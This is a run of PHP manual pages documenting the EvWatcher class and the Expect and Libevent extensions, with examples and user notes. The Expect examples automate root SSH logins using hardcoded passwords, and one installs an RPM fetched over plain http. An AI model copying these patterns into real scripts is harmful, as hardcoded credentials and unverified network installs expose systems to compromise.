EvWatcher is a base class for all watchers( EvCheck , EvChild etc.). Since EvWatcher 's constructor is abstract , one can't(and don't need to) create EvWatcher objects directly.

Class synopsis

abstract EvWatcher {
/* Properties */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* Methods */
public int clear ( void )
abstract public __construct ( void )
public void feed ( int $revents )
public EvLoop getLoop ( void )
public void invoke ( int $revents )
public bool keepalive ([ bool $value ] )
public void setCallback ( callable $callback )
public void start ( void )
public void stop ( void )
}

Properties

is_active

Readonly . TRUE if the watcher is active. FALSE otherwise.

data

User custom data associated with the watcher

is_pending

Readonly .TRUE if the watcher is pending, i.e. it has outstanding events, but its callback has not yet been invoked. FALSE otherwise. As long, as a watcher is pending(but not active), one must not change its priority.

priority

Integer between Ev::MINPRI and Ev::MAXPRI . Pending watchers with higher priority will be invoked before watchers with lower priority, but priority will not keep watchers from being executed(except for EvIdle watchers). EvIdle watchers provide functionality to suppress invocation when higher priority events are pending.

Table of Contents

  • EvWatcher::clear — Clear watcher pending status
  • EvWatcher::__construct — Abstract constructor of a watcher object
  • EvWatcher::feed — Feeds the given revents set into the event loop
  • EvWatcher::getLoop — Returns the loop responsible for the watcher
  • EvWatcher::invoke — Invokes the watcher callback with the given received events bit mask
  • EvWatcher::keepalive — Configures whether to keep the loop from returning
  • EvWatcher::setCallback — Sets new callback for the watcher
  • EvWatcher::start — Starts the watcher
  • EvWatcher::stop — Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


Clear watcher pending status

  • « EvWatcher
  • EvWatcher::__construct »
  • PHP Manual
  • EvWatcher
  • Clear watcher pending status

EvWatcher::clear

(PECL ev >= 0.2.0)

EvWatcher::clear — Clear watcher pending status

Description

public int EvWatcher::clear ( void )

If the watcher is pending, this method clears its pending status and returns its revents bitset(as if its callback was invoked). If the watcher isn't pending it does nothing and returns 0 .

Sometimes it can be useful to "poll" a watcher instead of waiting for its callback to be invoked, which can be accomplished with this function.

Parameters

This function has no parameters.

Return Values

In case if the watcher is pending, returns revents bitset as if the watcher callback had been invoked. Otherwise returns 0 .

User Contributed Notes

There are no user contributed notes for this page.


Abstract constructor of a watcher object

  • « EvWatcher::clear
  • EvWatcher::feed »
  • PHP Manual
  • EvWatcher
  • Abstract constructor of a watcher object

EvWatcher::__construct

(PECL ev >= 0.2.0)

EvWatcher::__construct — Abstract constructor of a watcher object

Description

abstract public EvWatcher::__construct ( void )

EvWatcher::__construct() is an abstract constructor of a watcher object implemented in the derived classes.

User Contributed Notes

There are no user contributed notes for this page.


Feeds the given revents set into the event loop

  • « EvWatcher::__construct
  • EvWatcher::getLoop »
  • PHP Manual
  • EvWatcher
  • Feeds the given revents set into the event loop

EvWatcher::feed

(PECL ev >= 0.2.0)

EvWatcher::feed — Feeds the given revents set into the event loop

Description

public void EvWatcher::feed ( int $revents )

Feeds the given revents set into the event loop, as if the specified event had happened for the watcher.

Parameters

revents

Bit mask of watcher received events .

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Returns the loop responsible for the watcher

  • « EvWatcher::feed
  • EvWatcher::invoke »
  • PHP Manual
  • EvWatcher
  • Returns the loop responsible for the watcher

EvWatcher::getLoop

(PECL ev >= 0.2.0)

EvWatcher::getLoop — Returns the loop responsible for the watcher

Description

public EvLoop EvWatcher::getLoop ( void )

Returns the loop responsible for the watcher

Parameters

This function has no parameters.

Return Values

Returns EvLoop event loop object responsible for the watcher.

User Contributed Notes

There are no user contributed notes for this page.


Invokes the watcher callback with the given received events bit mask

  • « EvWatcher::getLoop
  • EvWatcher::keepalive »
  • PHP Manual
  • EvWatcher
  • Invokes the watcher callback with the given received events bit mask

EvWatcher::invoke

(PECL ev >= 0.2.0)

EvWatcher::invoke — Invokes the watcher callback with the given received events bit mask

Description

public void EvWatcher::invoke ( int $revents )

Invokes the watcher callback with the given received events bit mask.

Parameters

revents

Bit mask of watcher received events .

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Configures whether to keep the loop from returning

  • « EvWatcher::invoke
  • EvWatcher::setCallback »
  • PHP Manual
  • EvWatcher
  • Configures whether to keep the loop from returning

EvWatcher::keepalive

(PECL ev >= 0.2.0)

EvWatcher::keepalive — Configures whether to keep the loop from returning

Description

public bool EvWatcher::keepalive ([ bool $value ] )

Configures whether to keep the loop from returning. With keepalive value set to FALSE the watcher won't keep Ev::run() / EvLoop::run() from returning even though the watcher is active.

Watchers have keepalive value TRUE by default.

Clearing keepalive status is useful when returning from Ev::run() / EvLoop::run() just because of the watcher is undesirable. It could be a long running UDP socket watcher or so.

Parameters

value

With keepalive value set to FALSE the watcher won't keep Ev::run() / EvLoop::run() from returning even though the watcher is active.

Return Values

Returns the previous state.

Examples

Example #1 Register an I/O watcher for some UDP socket but do not keep the event loop from running just because of that watcher.

<?php
$udp_socket = ...
$udp_watcher = new EvIo($udp_socket, Ev::READ, function () { /* ... */ });
$udp_watcher->keepalive(FALSE);
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets new callback for the watcher

  • « EvWatcher::keepalive
  • EvWatcher::start »
  • PHP Manual
  • EvWatcher
  • Sets new callback for the watcher

EvWatcher::setCallback

(PECL ev >= 0.2.0)

EvWatcher::setCallback — Sets new callback for the watcher

Description

public void EvWatcher::setCallback ( callable $callback )

Sets new callback for the watcher

Parameters

callback

See Watcher callbacks .

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Starts the watcher

  • « EvWatcher::setCallback
  • EvWatcher::stop »
  • PHP Manual
  • EvWatcher
  • Starts the watcher

EvWatcher::start

(PECL ev >= 0.2.0)

EvWatcher::start — Starts the watcher

Description

public void EvWatcher::start ( void )

Marks the watcher as active. Note that only active watchers will receive events.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • EvWatcher::stop() - Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


Stops the watcher

  • « EvWatcher::start
  • Expect »
  • PHP Manual
  • EvWatcher
  • Stops the watcher

EvWatcher::stop

(PECL ev >= 0.2.0)

EvWatcher::stop — Stops the watcher

Description

public void EvWatcher::stop ( void )

Marks the watcher as inactive. Note that only active watchers will receive events.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


Expect

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Expect Usage Examples
  • Expect Functions
    • expect_expectl — Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen
    • expect_popen — Execute command via Bourne shell, and open the PTY stream to the process

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension allows to interact with processes through PTY. You may consider using the expect:// wrapper with the filesystem functions which provide a simpler and more intuitive interface.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This module uses the functions of the » expect library. You need libexpect version >= 5.43.0.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/expect.

In PHP 4 this PECL extensions source can be found in the ext/ directory within the PHP source or at the PECL link above. In order to use these functions you must compile PHP with expect support by using the --with-expect[=DIR] configure option.

Windows users will enable php_expect.dll inside of php.ini in order to use these functions. In PHP 4 this DLL resides in the extensions/ directory within the PHP Windows binaries download. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

In order to configure expect extension, there are configuration options in the configuration file php.ini.

Expect Configure Options
Name | Default | Changeable | Changelog
expect.timeout | "10" | PHP_INI_ALL |
expect.loguser | "1" | PHP_INI_ALL |
expect.logfile | "" | PHP_INI_ALL |
expect.match_max | "" | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

expect.timeout integer

The timeout period for waiting for the data, when using the expect_expectl() function.

A value of "-1" disables a timeout from occurring.

Note:

A value of "0" causes the expect_expectl() function to return immediately.

expect.loguser boolean

Whether expect should send any output from the spawned process to stdout. Since interactive programs typically echo their input, this usually suffices to show both sides of the conversation.

expect.logfile string

Name of the file, where the output from the spawned process will be written. If this file doesn't exist, it will be created.

Note:

If this configuration is not empty, the output is written regardless of the value of expect.loguser.

expect.match_max integer

Changes default size (2000 bytes) of the buffer used to match asterisks in patterns.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

expect_popen() returns an open PTY stream used by expect_expectl().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

EXP_GLOB (integer)
Indicates that the pattern is a glob-style string pattern.
EXP_EXACT (integer)
Indicates that the pattern is an exact string.
EXP_REGEXP (integer)
Indicates that the pattern is a regexp-style string pattern.
EXP_EOF (integer)
Value, returned by expect_expectl(), when EOF is reached.
EXP_TIMEOUT (integer)
Value, returned by expect_expectl() upon timeout of seconds, specified in value of expect.timeout
EXP_FULLBUFFER (integer)
Value, returned by expect_expectl() if no pattern have been matched.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Expect Usage Examples

User Contributed Notes

There are no user contributed notes for this page.


Expect Usage Examples

Example #1 Expect Usage Example

This example connects to the remote host via SSH, and prints the remote uptime.

<?php
ini_set("expect.loguser", "Off");

$stream = fopen("expect://ssh root@remotehost uptime", "r");

$cases = array (
    array (0 => "password:", 1 => PASSWORD)
);

switch (expect_expectl ($stream, $cases)) {
    case PASSWORD:
        fwrite ($stream, "password\n");
        break;

    default:
        die ("Error was occurred while connecting to the remote host!\n");
}

while ($line = fgets($stream)) {
      print $line;
}
fclose ($stream);
?>

The following example connects to the remote host, determines whether installed OS is for 32 or 64 bit, then runs update for specific package.

Example #2 Another Expect Usage Example

<?php
ini_set("expect.timeout", -1);
ini_set("expect.loguser", "Off");

$stream = expect_popen("ssh root@remotehost");

while (true) {
    switch (expect_expectl ($stream, array (
            array ("password:", PASSWORD), // SSH is asking for password
            array ("yes/no)?", YESNO), // SSH is asking whether to store the host entry
            array ("~$ ", SHELL, EXP_EXACT), // We've got the shell!
    ))) {
        case PASSWORD:
            fwrite ($stream, "secret\n");
            break;

        case YESNO:
            fwrite ($stream, "yes\n");
            break;

        case SHELL:
            fwrite ($stream, "uname -a\n");
            while (true) {
                    switch (expect_expectl ($stream, array (
                            array ("~$ ", SHELL, EXP_EXACT), // We've got the shell!
                            array ("^Linux.*$", UNAME, EXP_REGEXP), // uname -a output
                    ), $match)) {
                        case UNAME:
                            $uname .= $match[0];
                            break;

                        case SHELL:
                            // Run update:
                            if (strstr ($uname, "x86_64")) {
                                    fwrite ($stream, "rpm -Uhv http://mirrorsite/somepath/some_64bit.rpm\n");
                            } else {
                                    fwrite ($stream, "rpm -Uhv http://mirrorsite/somepath/some_32bit.rpm\n");
                            }
                            fwrite ($stream, "exit\n");
                            break 2;

                        case EXP_TIMEOUT:
                        case EXP_EOF:
                            break 2;

                        default:
                            die ("Error has occurred!\n");
                    }
            }
            break 2;

        case EXP_TIMEOUT:
        case EXP_EOF:
            break 2;

        default:
            die ("Error has occurred!\n");
    }
}

fclose ($stream);
?>

User Contributed Notes

David dkxl 29-Dec-2012 03:30
If using the examples with telnet instead of ssh, note that telnet may need \r (Carriage Return) instead of \n (New Line)


Expect Functions

Table of Contents

  • expect_expectl — Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen
  • expect_popen — Execute command via Bourne shell, and open the PTY stream to the process

User Contributed Notes

There are no user contributed notes for this page.


Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen

  • « Expect Functions
  • expect_popen »
  • PHP Manual
  • Expect Functions
  • Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen

expect_expectl

(PECL expect >= 0.1.0)

expect_expectl — Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen

Description

int expect_expectl ( resource $expect , array $cases [, array &$match ] )

Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen.

If match is provided, then it is filled with the result of search. The matched string can be found in match[0]. The match substrings (according to the parentheses) in the original pattern can be found in match[1], match[2], and so on, up to match[9] (the limitation of libexpect).

Parameters

expect

An Expect stream, previously opened with expect_popen().

cases

An array of expect cases. Each expect case is an indexed array, as described in the following table:

Expect Case Array
Index Key | Value Type | Description | Is Mandatory | Default Value
0 | string | pattern, that will be matched against the output from the stream | yes
1 | mixed | value, that will be returned by this function, if the pattern matches | yes
2 | integer | pattern type, one of: EXP_GLOB, EXP_EXACT or EXP_REGEXP | no | EXP_GLOB

Return Values

Returns value associated with the pattern that was matched.

On failure this function returns: EXP_EOF, EXP_TIMEOUT or EXP_FULLBUFFER

Changelog

Version | Description
0.2.1 | Prior to version 0.2.1, in match parameter a match string was returned, not an array of match substrings.

Examples

Example #1 expect_expectl() example

<?php
// Copies file from remote host:
ini_set("expect.timeout", 30);

$stream = fopen("expect://scp user@remotehost:/var/log/messages /home/user/messages.txt", "r");

$cases = array(
    // array(pattern, value to return if pattern matched)
    array("password:", "asked for password"),
    array("yes/no)?",  "asked for yes/no")
);

while (true) {
    switch (expect_expectl($stream, $cases)) {
        case "asked for password":
            fwrite($stream, "my password\n");
            break;
        case "asked for yes/no":
            fwrite($stream, "yes\n");
            break;
        case EXP_TIMEOUT:
        case EXP_EOF:
            break 2; // break both the switch statement and the while loop
        default:
            die "Error has occurred!";
    }
}

fclose($stream);
?>

See Also

  • expect_popen() - Execute command via Bourne shell, and open the PTY stream to the process

User Contributed Notes

There are no user contributed notes for this page.


Execute command via Bourne shell, and open the PTY stream to the process

  • « expect_expectl
  • Libevent »
  • PHP Manual
  • Expect Functions
  • Execute command via Bourne shell, and open the PTY stream to the process

expect_popen

(PECL expect >= 0.1.0)

expect_popen — Execute command via Bourne shell, and open the PTY stream to the process

Description

resource expect_popen ( string $command )

Execute command via Bourne shell, and open the PTY stream to the process.

Parameters

command

Command to execute.

Return Values

Returns an open PTY stream to the processes stdio, stdout, and stderr.

On failure this function returns FALSE.

Examples

Example #1 expect_popen() example

<?php
// Login to the PHP.net CVS repository:
$stream = expect_popen ("cvs -d :pserver:anonymous@cvs.php.net:/repository login");
sleep (3);
fwrite ($stream, "phpfi\n");
fclose ($stream);
?>

See Also

  • popen() - Opens process file pointer

User Contributed Notes

There are no user contributed notes for this page.


Libevent

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Libevent Functions
    • event_add — Add an event to the set of monitored events
    • event_base_free — Destroy event base
    • event_base_loop — Handle events
    • event_base_loopbreak — Abort event loop
    • event_base_loopexit — Exit loop after a time
    • event_base_new — Create and initialize new event base
    • event_base_priority_init — Set the number of event priority levels
    • event_base_reinit — Reinitialize the event base after a fork
    • event_base_set — Associate event base with an event
    • event_buffer_base_set — Associate buffered event with an event base
    • event_buffer_disable — Disable a buffered event
    • event_buffer_enable — Enable a buffered event
    • event_buffer_fd_set — Change a buffered event file descriptor
    • event_buffer_free — Destroy buffered event
    • event_buffer_new — Create new buffered event
    • event_buffer_priority_set — Assign a priority to a buffered event
    • event_buffer_read — Read data from a buffered event
    • event_buffer_set_callback — Set or reset callbacks for a buffered event
    • event_buffer_timeout_set — Set read and write timeouts for a buffered event
    • event_buffer_watermark_set — Set the watermarks for read and write events
    • event_buffer_write — Write data to a buffered event
    • event_del — Remove an event from the set of monitored events
    • event_free — Free event resource
    • event_new — Create new event
    • event_priority_set — Assign a priority to an event.
    • event_set — Prepare an event
    • event_timer_add — Alias of event_add
    • event_timer_del — Alias of event_del
    • event_timer_new — Alias of event_new
    • event_timer_set — Prepare a timer event

User Contributed Notes

amal dot samally at gmail dot com 09-Apr-2013 09:59
Full libevent v.0.0.4 stubs with detailed PhpDocs (even for undocumented functions). Made it for PhpStorm (bundled now).

https://github.com/amal/php-stubs/blob/master/stubs/libevent.php
aco dot best at gmail dot com 22-Feb-2011 10:57
There are undocumented functions:
event_timer_new() alias of event_new()
event_timer_set(event, callback, args)
event_timer_pending(event, timeout)
event_timer_add() alias of event_add()
event_timer_del() alias of event_del()

There are undocumented constants:
EVBUFFER_READ (1)
EVBUFFER_WRITE (2)
EVBUFFER_EOF (16)
EVBUFFER_ERROR (32)
EVBUFFER_TIMEOUT (64)
These flags - second argument in buffer's error-callback


Introduction

Libevent is a library that provides a mechanism to execute a callback function when a specific event occurs on a file descriptor or after a timeout has been reached.

More information about Libevent can be found at » http://www.monkey.org/~provos/libevent/.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension requires » libevent library. Minimal required version is 1.4.0.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/libevent.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

There are several resource types used in the extension. These resources are event, event base and buffered event.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

EV_TIMEOUT (integer)
EV_READ (integer)
EV_WRITE (integer)
EV_SIGNAL (integer)
EV_PERSIST (integer)
EVLOOP_NONBLOCK (integer)
EVLOOP_ONCE (integer)

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 polling STDIN using basic API

<?php

function print_line($fd, $events, $arg)
{
    static $max_requests = 0;

    $max_requests++;

    if ($max_requests == 10) {
        // exit loop after 10 writes
        event_base_loopexit($arg[1]);
    }

    // print the line
    echo  fgets($fd);
}

// create base and event
$base = event_base_new();
$event = event_new();

$fd = STDIN;

// set event flags
event_set($event, $fd, EV_READ | EV_PERSIST, "print_line", array($event, $base));
// set event base
event_base_set($event, $base);

// enable event
event_add($event);
// start event loop
event_base_loop($base);

?>

Example #2 polling STDIN using buffered event API

<?php

function print_line($buf, $arg)
{
    static $max_requests;

    $max_requests++;

    if ($max_requests == 10) {
        event_base_loopexit($arg);
    }

    // print the line
    echo event_buffer_read($buf, 4096);
}

function error_func($buf, $what, $arg)
{
    // handle errors
}

$base = event_base_new();
$eb = event_buffer_new(STDIN, "print_line", NULL, "error_func", $base);

event_buffer_base_set($eb, $base);
event_buffer_enable($eb, EV_READ);

event_base_loop($base);

?>

User Contributed Notes

Alexis 29-Jul-2010 02:23
Server example:
<?php
$socket = stream_socket_server ('tcp://0.0.0.0:2000', $errno, $errstr);
stream_set_blocking($socket, 0);
$base = event_base_new();
$event = event_new();
event_set($event, $socket, EV_READ | EV_PERSIST, 'ev_accept', $base);
event_base_set($event, $base);
event_add($event);
event_base_loop($base);

$GLOBALS['connections'] = array();
$GLOBALS['buffers'] = array();

function ev_accept($socket, $flag, $base) {
    static $id = 0;

    $connection = stream_socket_accept($socket);
    stream_set_blocking($connection, 0);

    $id += 1;

    $buffer = event_buffer_new($connection, 'ev_read', NULL, 'ev_error', $id);
    event_buffer_base_set($buffer, $base);
    event_buffer_timeout_set($buffer, 30, 30);
    event_buffer_watermark_set($buffer, EV_READ, 0, 0xffffff);
    event_buffer_priority_set($buffer, 10);
    event_buffer_enable($buffer, EV_READ | EV_PERSIST);

    // we need to save both buffer and connection outside
    $GLOBALS['connections'][$id] = $connection;
    $GLOBALS['buffers'][$id] = $buffer;
}

function ev_error($buffer, $error, $id) {
    event_buffer_disable($GLOBALS['buffers'][$id], EV_READ | EV_WRITE);
    event_buffer_free($GLOBALS['buffers'][$id]);
    fclose($GLOBALS['connections'][$id]);
    unset($GLOBALS['buffers'][$id], $GLOBALS['connections'][$id]);
}

function ev_read($buffer, $id) {
    while ($read = event_buffer_read($buffer, 256)) {
        var_dump($read);
    }
}
?>


Libevent Functions

Table of Contents

  • event_add — Add an event to the set of monitored events
  • event_base_free — Destroy event base
  • event_base_loop — Handle events
  • event_base_loopbreak — Abort event loop
  • event_base_loopexit — Exit loop after a time
  • event_base_new — Create and initialize new event base
  • event_base_priority_init — Set the number of event priority levels
  • event_base_reinit — Reinitialize the event base after a fork
  • event_base_set — Associate event base with an event
  • event_buffer_base_set — Associate buffered event with an event base
  • event_buffer_disable — Disable a buffered event
  • event_buffer_enable — Enable a buffered event
  • event_buffer_fd_set — Change a buffered event file descriptor
  • event_buffer_free — Destroy buffered event
  • event_buffer_new — Create new buffered event
  • event_buffer_priority_set — Assign a priority to a buffered event
  • event_buffer_read — Read data from a buffered event
  • event_buffer_set_callback — Set or reset callbacks for a buffered event
  • event_buffer_timeout_set — Set read and write timeouts for a buffered event
  • event_buffer_watermark_set — Set the watermarks for read and write events
  • event_buffer_write — Write data to a buffered event
  • event_del — Remove an event from the set of monitored events
  • event_free — Free event resource
  • event_new — Create new event
  • event_priority_set — Assign a priority to an event.
  • event_set — Prepare an event
  • event_timer_add — Alias of event_add
  • event_timer_del — Alias of event_del
  • event_timer_new — Alias of event_new
  • event_timer_set — Prepare a timer event

User Contributed Notes

There are no user contributed notes for this page.


Add an event to the set of monitored events

  • « Libevent Functions
  • event_base_free »
  • PHP Manual
  • Libevent Functions
  • Add an event to the set of monitored events

event_add

(PECL libevent >= 0.0.1)

event_add — Add an event to the set of monitored events

Description

bool event_add ( resource $event [, int $timeout = -1 ] )

event_add() schedules the execution of the event when the event specified in event_set() occurs or in at least the time specified by the timeout argument. If timeout was not specified, not timeout is set. The event must be already initalized by event_set() and event_base_set() functions. If the event already has a timeout set, it is replaced by the new one.

Parameters

event

Valid event resource.

timeout

Optional timeout (in microseconds).

Return Values

event_add() returns TRUE on success or FALSE on error.

User Contributed Notes

zhaoyong dot lc at gmail dot com 21-Mar-2013 12:59
This is a Timer example use pcntl and libevent

function newChild($func_name) {
    echo "enter newChild\n";
    $args = func_get_args();
    unset($args[0]);
    $pid =  pcntl_fork();
    if ($pid == 0) {
        function_exists($func_name) and exit(call_user_func_array($func_name, $args)) or exit(-1);
    } else if($pid == -1) {
        echo "Couldn't create child process";
    } else {
        return $pid;
    }
}

function on_timer() {
    echo "timer called\n";
}

/**
 * @param $func string, function name
 * @param $timeouts int, microtimes for time delay
 */
function timer($func, $timeouts){

    echo "enter timer\n";
    $base = event_base_new();
    $event = event_new();

    event_set($event, 0, EV_TIMEOUT, $func);
    event_base_set($event, $base);
    event_add($event, $timeouts);

    event_base_loop($base);
}

$pid = newChild("timer", "on_timer", 5000000);

if ($pid > 0) {
    echo "master process exit\n";
}


Destroy event base

  • « event_add
  • event_base_loop »
  • PHP Manual
  • Libevent Functions
  • Destroy event base

event_base_free

(PECL libevent >= 0.0.1)

event_base_free — Destroy event base

Description

void event_base_free ( resource $event_base )

Destroys the specified event_base and frees all the resources associated. Note that it's not possible to destroy an event base with events attached to it.

Parameters

event_base

Valid event base resource.

User Contributed Notes

There are no user contributed notes for this page.


Handle events

  • « event_base_free
  • event_base_loopbreak »
  • PHP Manual
  • Libevent Functions
  • Handle events

event_base_loop

(PECL libevent >= 0.0.1)

event_base_loop — Handle events

Description

int event_base_loop ( resource $event_base [, int $flags = 0 ] )

Starts event loop for the specified event base.

Parameters

event_base

Valid event base resource.

flags

Optional parameter, which can take any combination of EVLOOP_ONCE and EVLOOP_NONBLOCK.

Return Values

event_base_loop() returns 0 on success, -1 on error and 1 if no events were registered.

User Contributed Notes

There are no user contributed notes for this page.


Abort event loop

  • « event_base_loop
  • event_base_loopexit »
  • PHP Manual
  • Libevent Functions
  • Abort event loop

event_base_loopbreak

(PECL libevent >= 0.0.1)

event_base_loopbreak — Abort event loop

Description

bool event_base_loopbreak ( resource $event_base )

Abort the active event loop immediately. The behaviour is similar to break statement.

Parameters

event_base

Valid event base resource.

Return Values

event_base_loopbreak() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Exit loop after a time

  • « event_base_loopbreak
  • event_base_new »
  • PHP Manual
  • Libevent Functions
  • Exit loop after a time

event_base_loopexit

(PECL libevent >= 0.0.1)

event_base_loopexit — Exit loop after a time

Description

bool event_base_loopexit ( resource $event_base [, int $timeout = -1 ] )

The next event loop iteration after the given timer expires will complete normally, then exit without blocking for events again.

Parameters

event_base

Valid event base resource.

timeout

Optional timeout parameter (in microseconds).

Return Values

event_base_loopexit() returns TRUE on success or FALSE on error.

User Contributed Notes

jille at hexon dot cx 04-May-2011 04:47
The timeout (if >= 0) is in microseconds.


Create and initialize new event base

  • « event_base_loopexit
  • event_base_priority_init »
  • PHP Manual
  • Libevent Functions
  • Create and initialize new event base

event_base_new

(PECL libevent >= 0.0.1)

event_base_new — Create and initialize new event base

Description

resource event_base_new ( void )

Returns new event base, which can be used later in event_base_set(), event_base_loop() and other functions.

Parameters

This function has no parameters.

Return Values

event_base_new() returns valid event base resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the number of event priority levels

  • « event_base_new
  • event_base_reinit »
  • PHP Manual
  • Libevent Functions
  • Set the number of event priority levels

event_base_priority_init

(PECL libevent >= 0.0.2)

event_base_priority_init — Set the number of event priority levels

Description

bool event_base_priority_init ( resource $event_base , int $npriorities )

Sets the number of different event priority levels.

By default all events are scheduled with the same priority (npriorities/2). Using event_base_priority_init() you can change the number of event priority levels and then set a desired priority for each event.

Parameters

event_base

Valid event base resource.

npriorities

The number of event priority levels.

Return Values

event_base_priority_init() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Reinitialize the event base after a fork

  • « event_base_priority_init
  • event_base_set »
  • PHP Manual
  • Libevent Functions
  • Reinitialize the event base after a fork

event_base_reinit

(PECL libevent >= 0.1.0)

event_base_reinit — Reinitialize the event base after a fork

Description

bool event_base_reinit ( resource $event_base )

Some event mechanisms do not survive across fork. The event_base needs to be reinitialized with this function.

Parameters

event_base

Valid event base resource that needs to be re-initialized.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Associate event base with an event

  • « event_base_reinit
  • event_buffer_base_set »
  • PHP Manual
  • Libevent Functions
  • Associate event base with an event

event_base_set

(PECL libevent >= 0.0.1)

event_base_set — Associate event base with an event

Description

bool event_base_set ( resource $event , resource $event_base )

Associates the event_base with the event.

Parameters

event

Valid event resource.

event_base

Valid event base resource.

Return Values

event_base_set() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Associate buffered event with an event base

  • « event_base_set
  • event_buffer_disable »
  • PHP Manual
  • Libevent Functions
  • Associate buffered event with an event base

event_buffer_base_set

(PECL libevent >= 0.0.1)

event_buffer_base_set — Associate buffered event with an event base

Description

bool event_buffer_base_set ( resource $bevent , resource $event_base )

Assign the specified bevent to the event_base.

Parameters

bevent

Valid buffered event resource.

event_base

Valid event base resource.

Return Values

event_buffer_base_set() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Disable a buffered event

  • « event_buffer_base_set
  • event_buffer_enable »
  • PHP Manual
  • Libevent Functions
  • Disable a buffered event

event_buffer_disable

(PECL libevent >= 0.0.1)

event_buffer_disable — Disable a buffered event

Description

bool event_buffer_disable ( resource $bevent , int $events )

Disables the specified buffered event.

Parameters

bevent

Valid buffered event resource.

events

Any combination of EV_READ and EV_WRITE.

Return Values

event_buffer_disable() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Enable a buffered event

  • « event_buffer_disable
  • event_buffer_fd_set »
  • PHP Manual
  • Libevent Functions
  • Enable a buffered event

event_buffer_enable

(PECL libevent >= 0.0.1)

event_buffer_enable — Enable a buffered event

Description

bool event_buffer_enable ( resource $bevent , int $events )

Enables the specified buffered event.

Parameters

bevent

Valid buffered event resource.

events

Any combination of EV_READ and EV_WRITE.

Return Values

event_buffer_enable() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Change a buffered event file descriptor

  • « event_buffer_enable
  • event_buffer_free »
  • PHP Manual
  • Libevent Functions
  • Change a buffered event file descriptor

event_buffer_fd_set

(PECL libevent >= 0.0.1)

event_buffer_fd_set — Change a buffered event file descriptor

Description

void event_buffer_fd_set ( resource $bevent , resource $fd )

Changes the file descriptor on which the buffered event operates.

Parameters

bevent

Valid buffered event resource.

fd

Valid PHP stream, must be castable to file descriptor.

User Contributed Notes

There are no user contributed notes for this page.


Destroy buffered event

  • « event_buffer_fd_set
  • event_buffer_new »
  • PHP Manual
  • Libevent Functions
  • Destroy buffered event

event_buffer_free

(PECL libevent >= 0.0.1)

event_buffer_free — Destroy buffered event

Description

void event_buffer_free ( resource $bevent )

Destroys the specified buffered event and frees all the resources associated.

Parameters

bevent

Valid buffered event resource.

User Contributed Notes

There are no user contributed notes for this page.


Create new buffered event

  • « event_buffer_free
  • event_buffer_priority_set »
  • PHP Manual
  • Libevent Functions
  • Create new buffered event

event_buffer_new

(PECL libevent >= 0.0.1)

event_buffer_new — Create new buffered event

Description

resource event_buffer_new ( resource $stream , mixed $readcb , mixed $writecb , mixed $errorcb [, mixed $arg ] )

Libevent provides an abstraction layer on top of the regular event API. Using buffered event you don't need to deal with the I/O manually, instead it provides input and output buffers that get filled and drained automatically.

Parameters

stream

Valid PHP stream resource. Must be castable to file descriptor.

readcb

Callback to invoke where there is data to read, or NULL if no callback is desired.

writecb

Callback to invoke where the descriptor is ready for writing, or NULL if no callback is desired.

errorcb

Callback to invoke where there is an error on the descriptor, cannot be NULL.

arg

An argument that will be passed to each of the callbacks (optional).

Return Values

event_buffer_new() returns new buffered event resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Assign a priority to a buffered event

  • « event_buffer_new
  • event_buffer_read »
  • PHP Manual
